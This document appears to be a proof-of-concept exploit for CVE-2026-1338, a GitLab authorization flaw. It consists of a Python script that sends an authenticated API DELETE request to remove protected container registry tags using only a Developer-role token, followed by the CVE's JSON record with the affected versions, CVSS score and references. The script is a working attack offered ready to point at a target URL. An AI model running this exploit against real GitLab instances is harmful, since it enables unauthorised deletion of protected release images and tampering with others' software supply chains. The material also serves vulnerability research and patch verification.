CVE-2026-1338

import requests # Configuration # Target GitLab instance URL BASE_URL = "https://gitlab.target.com" # Project ID PROJECT_ID = "123" # Repository ID within the Container Registry REPOSITORY_ID = "456" # The name of the protected tag to delete TAG_NAME = "v1.0.0" # Personal Access Token of a user with Developer role TOKEN = "glpat-xxxxxxxxxxxxxxxxxxxx" # Construct the API endpoint for deleting a tag # Reference: GitLab Container Registry API url = f"{BASE_URL}/api/v4/projects/{PROJECT_ID}/registry/repositories/{REPOSITORY_ID}/tags/{TAG_NAME}" headers = { "PRIVATE-TOKEN": TOKEN } print(f"Attempting to delete protected tag: {TAG_NAME}...") # Send the DELETE request response = requests.delete(url, headers=headers) if response.status_code == 204: print("[+] Success: Protected tag deleted.") elif response.status_code == 403: print("[-] Failed: Permission denied (Exploit failed or patch applied).") elif response.status_code == 404: print("[-] Failed: Resource not found.") else: print(f"[-] Unexpected status code: {response.status_code}") print(response.text)

{"cve": {"id": "CVE-2026-1338", "sourceIdentifier": "[email protected]", "published": "2026-05-14T06:16:21.520", "lastModified": "2026-05-14T16:20:43.240", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "GitLab has remediated an issue in GitLab CE/EE affecting all versions from 17.10 before 18.9.7, 18.10 before 18.10.6, and 18.11 before 18.11.3 that could have allowed an authenticated user with developer-role permissions to delete protected container registry tags due to improper authorization checks."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-639"}]}], "references": [{"url": "https://about.gitlab.com/releases/2026/05/13/patch-release-gitlab-18-11-3-released/", "source": "[email protected]"}, {"url": "https://gitlab.com/gitlab-org/gitlab/-/work_items/587326", "source": "[email protected]"}, {"url": "https://hackerone.com/reports/3480620", "source": "[email protected]"}]}}